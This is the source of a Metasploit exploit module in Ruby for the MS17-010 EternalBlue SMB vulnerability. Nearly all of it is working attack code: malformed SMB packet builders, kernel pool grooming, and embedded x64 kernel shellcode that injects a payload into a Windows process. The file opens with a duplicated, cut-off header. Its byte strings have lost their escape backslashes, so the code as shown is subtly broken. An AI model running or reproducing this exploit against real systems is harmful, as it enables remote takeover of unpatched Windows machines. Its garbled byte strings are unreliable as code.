##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'ruby_smb'
requi ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'ruby_smb'
require 'ruby_smb/smb1/packet'

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption',
'Description' => %q{
This module is a port of the Equation Group ETERNALBLUE exploit, part of
the FuzzBunch toolkit released by Shadow Brokers.

There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size
is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a
DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow
is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later
completed in srvnet!SrvNetWskReceiveComplete.

This exploit, like the original may not trigger 100% of the time, and should be
run continuously until triggered. It seems like the pool will get hot streaks
and need a cool down period before the shells rain in again.
},

'Author' => [
'Sean Dillon <sean.dillon@risksense.com>', # @zerosum0x0
'Dylan Davis <dylan.davis@risksense.com>', # @jennamagius
'Equation Group',
'Shadow Brokers'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'MSB', 'MS17-010' ],
[ 'CVE', '2017-0143' ],
[ 'CVE', '2017-0144' ],
[ 'CVE', '2017-0145' ],
[ 'CVE', '2017-0146' ],
[ 'CVE', '2017-0147' ],
[ 'CVE', '2017-0148' ],
[ 'URL', 'https://github.com/RiskSense-Ops/MS17-010' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 2000, # this can be more, needs to be recalculated
'EncoderType' => Msf::Encoder::Type::Raw,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 7 and Server 2008 (x64) All Service Packs',
{
'Platform' => 'win',
'Arch' => [ ARCH_X64 ],

'ep_thl_b' => 0x308, # EPROCESS.ThreadListHead.Blink offset
'et_alertable' => 0x4c, # ETHREAD.Alertable offset
'teb_acp' => 0x2c8, # TEB.ActivationContextPointer offset
'et_tle' => 0x420 # ETHREAD.ThreadListEntry offset
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 14 2017'
))

register_options(
[
Opt::RPORT(445),
OptString.new('ProcessName', [ true, 'Process to inject payload into.', 'spoolsv.exe' ]),
OptInt.new( 'MaxExploitAttempts', [ true, "The number of times to retry the exploit.", 3 ] ),
OptInt.new( 'GroomAllocations', [ true, "Initial number of times to groom the kernel pool.", 12 ] ),
OptInt.new( 'GroomDelta', [ true, "The amount to increase the groom count by per try.", 5 ] )
])
end

def check
# todo: create MS17-010 mixin, and hook up auxiliary/scanner/smb/smb_ms17_010
end

def exploit
begin
for i in 1..datastore['MaxExploitAttempts']

grooms = datastore['GroomAllocations'] + datastore['GroomDelta'] * (i - 1)

smb_eternalblue(datastore['ProcessName'], grooms)

# we don't need this sleep, and need to find a way to remove it
# problem is session_count won't increment until stage is complete :
secs = 0
while !session_created? and secs < 5
secs += 1
sleep 1
end

if session_created?
print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
break
else
print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
end
end

rescue ::RubySMB::Error::UnexpectedStatusCode,
::Errno::ECONNRESET,
::Rex::HostUnreachable,
::Rex::ConnectionTimeout,
::Rex::ConnectionRefused => e
print_bad("#{e.class}: #{e.message}")
rescue => error
print_bad(error.class.to_s)
print_bad(error.message)
print_bad(error.backtrace.join(" "))
ensure
# pass
end
end

#
# Increase the default delay by five seconds since some kernel-mode
# payloads may not run immediately.
#
def wfs_delay
super + 5
end

def smb_eternalblue(process_name, grooms)
begin
# Step 0: pre-calculate what we can
shellcode = make_kernel_user_payload(payload.encode, 0, 0, 0, 0, 0)
payload_hdr_pkt = make_smb2_payload_headers_packet
payload_body_pkt = make_smb2_payload_body_packet(shellcode)

# Step 1: Connect to IPC$ share
print_status("Connecting to target for exploitation.")
client, tree, sock = smb1_anonymous_connect_ipc()
print_good("Connection established for exploitation.")

print_status("Trying exploit with #{grooms} Groom Allocations.")

# Step 2: Create a large SMB1 buffer
print_status("Sending all but last fragment of exploit packet")
smb1_large_buffer(client, tree, sock)

# Step 3: Groom the pool with payload packets, and open/close SMB1 packets
print_status("Starting non-paged pool grooming")

# initialize_groom_threads(ip, port, payload, grooms)
fhs_sock = smb1_free_hole(true)

@groom_socks = []

print_good("Sending SMBv2 buffers")
smb2_grooms(grooms, payload_hdr_pkt)

fhf_sock = smb1_free_hole(false)

print_good("Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.")
fhs_sock.shutdown()

print_status("Sending final SMBv2 buffers.") # 6x
smb2_grooms(6, payload_hdr_pkt) # todo: magic #

fhf_sock.shutdown()

print_status("Sending last fragment of exploit packet!")
final_exploit_pkt = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_exploit, 15)
sock.put(final_exploit_pkt)

print_status("Receiving response from exploit packet")
code, raw = smb1_get_response(sock)

if code == 0xc000000d #STATUS_INVALID_PARAMETER (0xC000000D)
print_good("ETERNALBLUE overwrite completed successfully (0xC000000D)!")
end

# Step 4: Send the payload
print_status("Sending egg to corrupted connection.")

@groom_socks.each{ |gsock| gsock.put(payload_body_pkt.first(2920)) }
@groom_socks.each{ |gsock| gsock.put(payload_body_pkt[2920..(4204 - 0x84)]) }

print_status("Triggering free of corrupted buffer.")
# tree disconnect
# logoff and x
# note: these aren't necessary, just close the sockets

ensure
abort_sockets
end
end

def smb2_grooms(grooms, payload_hdr_pkt)
grooms.times do |groom_id|
gsock = connect(false)
@groom_socks << gsock
gsock.put(payload_hdr_pkt)
end
end

def smb1_anonymous_connect_ipc()
sock = connect(false)
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '')
client.negotiate

pkt = make_smb1_anonymous_login_packet
sock.put(pkt)

code, raw, response = smb1_get_response(sock)

unless code == 0 # WindowsError::NTStatus::STATUS_SUCCESS
raise RubySMB::Error::UnexpectedStatusCode, "Error with anonymous login"
end

client.user_id = response.uid

tree = client.tree_connect("\\#{datastore['RHOST']}\IPC$")

return client, tree, sock
end

def smb1_large_buffer(client, tree, sock)
nt_trans_pkt = make_smb1_nt_trans_packet(tree.id, client.user_id)

# send NT Trans
vprint_status("Sending NT Trans Request packet")
sock.put(nt_trans_pkt)

vprint_status("Receiving NT Trans packet")
raw = sock.get_once

# Initial Trans2 request
trans2_pkt_nulled = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_zero, 0)

# send all but last packet
for i in 1..14
trans2_pkt_nulled << make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_buffer, i)
end

trans2_pkt_nulled << make_smb1_echo_packet(tree.id, client.user_id)

vprint_status("Sending malformed Trans2 packets")
sock.put(trans2_pkt_nulled)

sock.get_once
end

def smb1_free_hole(start)
sock = connect(false)
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '')
client.negotiate

pkt = ""

if start
vprint_status("Sending start free hole packet.")
pkt = make_smb1_free_hole_session_packet("x07xc0", "x2dx01", "xf0xffx00x00x00")
else
vprint_status("Sending end free hole packet.")
pkt = make_smb1_free_hole_session_packet("x07x40", "x2cx01", "xf8x87x00x00x00")
end

#dump_packet(pkt)
sock.put(pkt)

vprint_status("Receiving free hole response.")
sock.get_once

return sock
end

def smb1_get_response(sock)
raw = sock.get_once
response = RubySMB::SMB1::SMBHeader.read(raw[4..-1])
code = response.nt_status
return code, raw, response
end

def make_smb2_payload_headers_packet
# don't need a library here, the packet is essentially nonsensical
pkt = ""
pkt << "x00" # session message
pkt << "x00xffxf7" # size
pkt << "xfeSMB" # SMB2
pkt << "x00" * 124

pkt
end

def make_smb2_payload_body_packet(kernel_user_payload)
# precalculated lengths
pkt_max_len = 4204
pkt_setup_len = 497
pkt_max_payload = pkt_max_len - pkt_setup_len # 3575

# this packet holds padding, KI_USER_SHARED_DATA addresses, and shellcode
pkt = ""

# padding
pkt << "x00" * 0x8
pkt << "x03x00x00x00"
pkt << "x00" * 0x1c
pkt << "x03x00x00x00"
pkt << "x00" * 0x74

# KI_USER_SHARED_DATA addresses
pkt << "xb0x00xd0xffxffxffxffxff" * 2 # x64 address
pkt << "x00" * 0x10
pkt << "xc0xf0xdfxff" * 2 # x86 address
pkt << "x00" * 0xc4

# payload addreses
pkt << "x90xf1xdfxff"
pkt << "x00" * 0x4
pkt << "xf0xf1xdfxff"
pkt << "x00" * 0x40

pkt << "xf0x01xd0xffxffxffxffxff"
pkt << "x00" * 0x8
pkt << "x00x02xd0xffxffxffxffxff"
pkt << "x00"

pkt << kernel_user_payload

# fill out the rest, this can be randomly generated
pkt << "x00" * (pkt_max_payload - kernel_user_payload.length)

pkt
end

def make_smb1_echo_packet(tree_id, user_id)
pkt = ""
pkt << "x00" # type
pkt << "x00x00x31" # len = 49
pkt << "xffSMB" # SMB1
pkt << "x2b" # Echo
pkt << "x00x00x00x00" # Success
pkt << "x18" # flags
pkt << "x07xc0" # flags2
pkt << "x00x00" # PID High
pkt << "x00x00x00x00" # Signature1
pkt << "x00x00x00x00" # Signature2
pkt << "x00x00" # Reserved
pkt << [tree_id].pack("S>") # Tree ID
pkt << "xffxfe" # PID
pkt << [user_id].pack("S>") # UserID
pkt << "x40x00" # MultiplexIDs

pkt << "x01" # Word count
pkt << "x01x00" # Echo count
pkt << "x0cx00" # Byte count

# echo data
# this is an existing IDS signature, and can be nulled out
#pkt << "x4ax6cx4ax6dx49x68x43x6cx42x73x72x00"
pkt << "x41x41x41x41x41x41x41x41x41x41x41x00"

pkt
end

# Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit
def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
timeout = (timeout * 0x10) + 3

pkt = ""
pkt << "x00" # Session message
pkt << "x00x10x35" # length
pkt << "xffSMB" # SMB1
pkt << "x33" # Trans2 request
pkt << "x00x00x00x00" # NT SUCCESS
pkt << "x18" # Flags
pkt << "x07xc0" # Flags2
pkt << "x00x00" # PID High
pkt << "x00x00x00x00" # Signature1
pkt << "x00x00x00x00" # Signature2
pkt << "x00x00" # Reserved
pkt << [tree_id].pack("S>") # TreeID
pkt << "xffxfe" # PID
pkt << [user_id].pack("S>") # UserID
pkt << "x40x00" # MultiplexIDs

pkt << "x09" # Word Count
pkt << "x00x00" # Total Param Count
pkt << "x00x10" # Total Data Count
pkt << "x00x00" # Max Param Count
pkt << "x00x00" # Max Data Count
pkt << "x00" # Max Setup Count
pkt << "x00" # Reserved
pkt << "x00x10" # Flags
pkt << "x35x00xd0" # Timeouts
pkt << timeout.chr
pkt << "x00x00" # Reserved
pkt << "x00x10" # Parameter Count

#pkt << "x74x70" # Parameter Offset
#pkt << "x47x46" # Data Count
#pkt << "x45x6f" # Data Offset
#pkt << "x4c" # Setup Count
#pkt << "x4f" # Reserved

if type == :eb_trans2_exploit
vprint_status("Making :eb_trans2_exploit packet")

pkt << "x41" * 2957

pkt << "x80x00xa8x00" # overflow

pkt << "x00" * 0x10
pkt << "xffxff"
pkt << "x00" * 0x6
pkt << "xffxff"
pkt << "x00" * 0x16

pkt << "x00xf1xdfxff" # x86 addresses
pkt << "x00" * 0x8
pkt << "x20xf0xdfxff"

pkt << "x00xf1xdfxffxffxffxffxff" # x64

pkt << "x60x00x04x10"
pkt << "x00" * 4

pkt << "x80xefxdfxff"

pkt << "x00" * 4
pkt << "x10x00xd0xffxffxffxffxff"
pkt << "x18x01xd0xffxffxffxffxff"
pkt << "x00" * 0x10

pkt << "x60x00x04x10"
pkt << "x00" * 0xc
pkt << "x90xffxcfxffxffxffxffxff"
pkt << "x00" * 0x8
pkt << "x80x10"
pkt << "x00" * 0xe
pkt << "x39"
pkt << "xbb"

pkt << "x41" * 965

return pkt
end

if type == :eb_trans2_zero
vprint_status("Making :eb_trans2_zero packet")
pkt << "x00" * 2055
pkt << "x83xf3"
pkt << "x41" * 2039
#pkt << "x00" * 4096
else
vprint_status("Making :eb_trans2_buffer packet")
pkt << "x41" * 4096
end

pkt

end

def make_smb1_nt_trans_packet(tree_id, user_id)
pkt = ""
pkt << "x00" # Session message
pkt << "x00x04x38" # length
pkt << "xffSMB" # SMB1
pkt << "xa0" # NT Trans
pkt << "x00x00x00x00" # NT SUCCESS
pkt << "x18" # Flags
pkt << "x07xc0" # Flags2
pkt << "x00x00" # PID High
pkt << "x00x00x00x00" # Signature1
pkt << "x00x00x00x00" # Signature2
pkt << "x00x00" # Reserved
pkt << [tree_id].pack("S>") # TreeID
pkt << "xffxfe" # PID
pkt << [user_id].pack("S>") # UserID
pkt << "x40x00" # MultiplexID

pkt << "x14" # Word Count
pkt << "x01" # Max Setup Count
pkt << "x00x00" # Reserved
pkt << "x1ex00x00x00" # Total Param Count
pkt << "xd0x03x01x00" # Total Data Count
pkt << "x1ex00x00x00" # Max Param Count
pkt << "x00x00x00x00" # Max Data Count
pkt << "x1ex00x00x00" # Param Count
pkt << "x4bx00x00x00" # Param Offset
pkt << "xd0x03x00x00" # Data Count
pkt << "x68x00x00x00" # Data Offset
pkt << "x01" # Setup Count
pkt << "x00x00" # Function <unknown>
pkt << "x00x00" # Unknown NT transaction (0) setup
pkt << "xecx03" # Byte Count
pkt << "x00" * 0x1f # NT Parameters

# undocumented
pkt << "x01"
pkt << "x00" * 0x3cd

pkt
end

def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)
pkt = ""
pkt << "x00" # Session message
pkt << "x00x00x51" # length
pkt << "xffSMB" # SMB1
pkt << "x73" # Session Setup AndX
pkt << "x00x00x00x00" # NT SUCCESS
pkt << "x18" # Flags
pkt << flags2 # Flags2
pkt << "x00x00" # PID High
pkt << "x00x00x00x00" # Signature1
pkt << "x00x00x00x00" # Signature2
pkt << "x00x00" # Reserved
pkt << "x00x00" # TreeID
pkt << "xffxfe" # PID
pkt << "x00x00" # UserID
pkt << "x40x00" # MultiplexID
#pkt << "x00x00" # Reserved

pkt << "x0c" # Word Count
pkt << "xff" # No further commands
pkt << "x00" # Reserved
pkt << "x00x00" # AndXOffset
pkt << "x04x11" # Max Buffer
pkt << "x0ax00" # Max Mpx Count
pkt << vcnum # VC Number
pkt << "x00x00x00x00" # Session key
pkt << "x00x00" # Security blob length
pkt << "x00x00x00x00" # Reserved
pkt << "x00x00x00x80" # Capabilities
pkt << "x16x00" # Byte count
#pkt << "xf0" # Security Blob: <MISSING>
#pkt << "xffx00x00x00" # Native OS
#pkt << "x00x00" # Native LAN manager
#pkt << "x00x00" # Primary domain
pkt << native_os
pkt << "x00" * 17 # Extra byte params

pkt
end

def make_smb1_anonymous_login_packet
# Neither Rex nor RubySMB appear to support Anon login?
pkt = ""
pkt << "x00" # Session message
pkt << "x00x00x88" # length
pkt << "xffSMB" # SMB1
pkt << "x73" # Session Setup AndX
pkt << "x00x00x00x00" # NT SUCCESS
pkt << "x18" # Flags
pkt << "x07xc0" # Flags2
pkt << "x00x00" # PID High
pkt << "x00x00x00x00" # Signature1
pkt << "x00x00x00x00" # Signature2
pkt << "x00x00" # TreeID
pkt << "xffxfe" # PID
pkt << "x00x00" # Reserved
pkt << "x00x00" # UserID
pkt << "x40x00" # MultiplexID

pkt << "x0d" # Word Count
pkt << "xff" # No further commands
pkt << "x00" # Reserved
pkt << "x88x00" # AndXOffset
pkt << "x04x11" # Max Buffer
pkt << "x0ax00" # Max Mpx Count
pkt << "x00x00" # VC Number
pkt << "x00x00x00x00" # Session key
pkt << "x01x00" # ANSI pw length
pkt << "x00x00" # Unicode pw length
pkt << "x00x00x00x00" # Reserved
pkt << "xd4x00x00x00" # Capabilities
pkt << "x4bx00" # Byte count
pkt << "x00" # ANSI pw
pkt << "x00x00" # Account name
pkt << "x00x00" # Domain name

# Windows 2000 2195
pkt << "x57x00x69x00x6ex00x64x00x6fx00x77x00x73x00x20x00x32"
pkt << "x00x30x00x30x00x30x00x20x00x32x00x31x00x39x00x35x00"
pkt << "x00x00"

# Windows 2000 5.0
pkt << "x57x00x69x00x6ex00x64x00x6fx00x77x00x73x00x20x00x32"
pkt << "x00x30x00x30x00x30x00x20x00x35x00x2ex00x30x00x00x00"

pkt
end

# ring3 = user mode encoded payload
# proc_name = process to inject APC into
# ep_thl_b = EPROCESS.ThreadListHead.Blink offset
# et_alertable = ETHREAD.Alertable offset
# teb_acp = TEB.ActivationContextPointer offset
# et_tle = ETHREAD.ThreadListEntry offset
def make_kernel_user_payload(ring3, proc_name, ep_thl_b, et_alertable, teb_acp, et_tle)
sc = make_kernel_shellcode
sc << [ring3.length].pack("S<")
sc << ring3
sc
end

def make_kernel_shellcode
# https://github.com/RiskSense-Ops/MS17-010/blob/master/payloads/x64/src/exploit/kernel.asm
# Name: kernel
# Length: 1019 bytes

#"xcc"+
"xB9x82x00x00xC0x0Fx32x48xBBxF8x0FxD0xFFxFFxFFxFF" +
"xFFx89x53x04x89x03x48x8Dx05x0Ax00x00x00x48x89xC2" +
"x48xC1xEAx20x0Fx30xC3x0Fx01xF8x65x48x89x24x25x10" +
"x00x00x00x65x48x8Bx24x25xA8x01x00x00x50x53x51x52" +
"x56x57x55x41x50x41x51x41x52x41x53x41x54x41x55x41" +
"x56x41x57x6Ax2Bx65xFFx34x25x10x00x00x00x41x53x6A" +
"x33x51x4Cx89xD1x48x83xECx08x55x48x81xECx58x01x00" +
"x00x48x8DxACx24x80x00x00x00x48x89x9DxC0x00x00x00" +
"x48x89xBDxC8x00x00x00x48x89xB5xD0x00x00x00x48xA1" +
"xF8x0FxD0xFFxFFxFFxFFxFFx48x89xC2x48xC1xEAx20x48" +
"x31xDBxFFxCBx48x21xD8xB9x82x00x00xC0x0Fx30xFBxE8" +
"x38x00x00x00xFAx65x48x8Bx24x25xA8x01x00x00x48x83" +
"xECx78x41x5Fx41x5Ex41x5Dx41x5Cx41x5Bx41x5Ax41x59" +
"x41x58x5Dx5Fx5Ex5Ax59x5Bx58x65x48x8Bx24x25x10x00" +
"x00x00x0Fx01xF8xFFx24x25xF8x0FxD0xFFx56x41x57x41" +
"x56x41x55x41x54x53x55x48x89xE5x66x83xE4xF0x48x83" +
"xECx20x4Cx8Dx35xE3xFFxFFxFFx65x4Cx8Bx3Cx25x38x00" +
"x00x00x4Dx8Bx7Fx04x49xC1xEFx0Cx49xC1xE7x0Cx49x81" +
"xEFx00x10x00x00x49x8Bx37x66x81xFEx4Dx5Ax75xEFx41" +
"xBBx5Cx72x11x62xE8x18x02x00x00x48x89xC6x48x81xC6" +
"x08x03x00x00x41xBBx7AxBAxA3x30xE8x03x02x00x00x48" +
"x89xF1x48x39xF0x77x11x48x8Dx90x00x05x00x00x48x39" +
"xF2x72x05x48x29xC6xEBx08x48x8Bx36x48x39xCEx75xE2" +
"x49x89xF4x31xDBx89xD9x83xC1x04x81xF9x00x00x01x00" +
"x0Fx8Dx66x01x00x00x4Cx89xF2x89xCBx41xBBx66x55xA2" +
"x4BxE8xBCx01x00x00x85xC0x75xDBx49x8Bx0Ex41xBBxA3" +
"x6Fx72x2DxE8xAAx01x00x00x48x89xC6xE8x50x01x00x00" +
"x41x81xF9xBFx77x1FxDDx75xBCx49x8Bx1Ex4Dx8Dx6Ex10" +
"x4Cx89xEAx48x89xD9x41xBBxE5x24x11xDCxE8x81x01x00" +
"x00x6Ax40x68x00x10x00x00x4Dx8Dx4Ex08x49xC7x01x00" +
"x10x00x00x4Dx31xC0x4Cx89xF2x31xC9x48x89x0Ax48xF7" +
"xD1x41xBBx4BxCAx0AxEEx48x83xECx20xE8x52x01x00x00" +
"x85xC0x0Fx85xC8x00x00x00x49x8Bx3Ex48x8Dx35xE9x00" +
"x00x00x31xC9x66x03x0DxD7x01x00x00x66x81xC1xF9x00" +
"xF3xA4x48x89xDEx48x81xC6x08x03x00x00x48x89xF1x48" +
"x8Bx11x4Cx29xE2x51x52x48x89xD1x48x83xECx20x41xBB" +
"x26x40x36x9DxE8x09x01x00x00x48x83xC4x20x5Ax59x48" +
"x85xC0x74x18x48x8Bx80xC8x02x00x00x48x85xC0x74x0C" +
"x48x83xC2x4Cx8Bx02x0FxBAxE0x05x72x05x48x8Bx09xEB" +
"xBEx48x83xEAx4Cx49x89xD4x31xD2x80xC2x90x31xC9x41" +
"xBBx26xACx50x91xE8xC8x00x00x00x48x89xC1x4Cx8Dx89" +
"x80x00x00x00x41xC6x01xC3x4Cx89xE2x49x89xC4x4Dx31" +
"xC0x41x50x6Ax01x49x8Bx06x50x41x50x48x83xECx20x41" +
"xBBxACxCEx55x4BxE8x98x00x00x00x31xD2x52x52x41x58" +
"x41x59x4Cx89xE1x41xBBx18x38x09x9ExE8x82x00x00x00" +
"x4Cx89xE9x41xBBx22xB7xB3x7DxE8x74x00x00x00x48x89" +
"xD9x41xBBx0DxE2x4Dx85xE8x66x00x00x00x48x89xECx5D" +
"x5Bx41x5Cx41x5Dx41x5Ex41x5Fx5ExC3xE9xB5x00x00x00" +
"x4Dx31xC9x31xC0xACx41xC1xC9x0Dx3Cx61x7Cx02x2Cx20" +
"x41x01xC1x38xE0x75xECxC3x31xD2x65x48x8Bx52x60x48" +
"x8Bx52x18x48x8Bx52x20x48x8Bx12x48x8Bx72x50x48x0F" +
"xB7x4Ax4Ax45x31xC9x31xC0xACx3Cx61x7Cx02x2Cx20x41" +
"xC1xC9x0Dx41x01xC1xE2xEEx45x39xD9x75xDAx4Cx8Bx7A" +
"x20xC3x4Cx89xF8x41x51x41x50x52x51x56x48x89xC2x8B" +
"x42x3Cx48x01xD0x8Bx80x88x00x00x00x48x01xD0x50x8B" +
"x48x18x44x8Bx40x20x49x01xD0x48xFFxC9x41x8Bx34x88" +
"x48x01xD6xE8x78xFFxFFxFFx45x39xD9x75xECx58x44x8B" +
"x40x24x49x01xD0x66x41x8Bx0Cx48x44x8Bx40x1Cx49x01" +
"xD0x41x8Bx04x88x48x01xD0x5Ex59x5Ax41x58x41x59x41" +
"x5Bx41x53xFFxE0x56x41x57x55x48x89xE5x48x83xECx20" +
"x41xBBxDAx16xAFx92xE8x4DxFFxFFxFFx31xC9x51x51x51" +
"x51x41x59x4Cx8Dx05x1Ax00x00x00x5Ax48x83xECx20x41" +
"xBBx46x45x1Bx22xE8x68xFFxFFxFFx48x89xECx5Dx41x5F" +
"x5ExC3"
end

end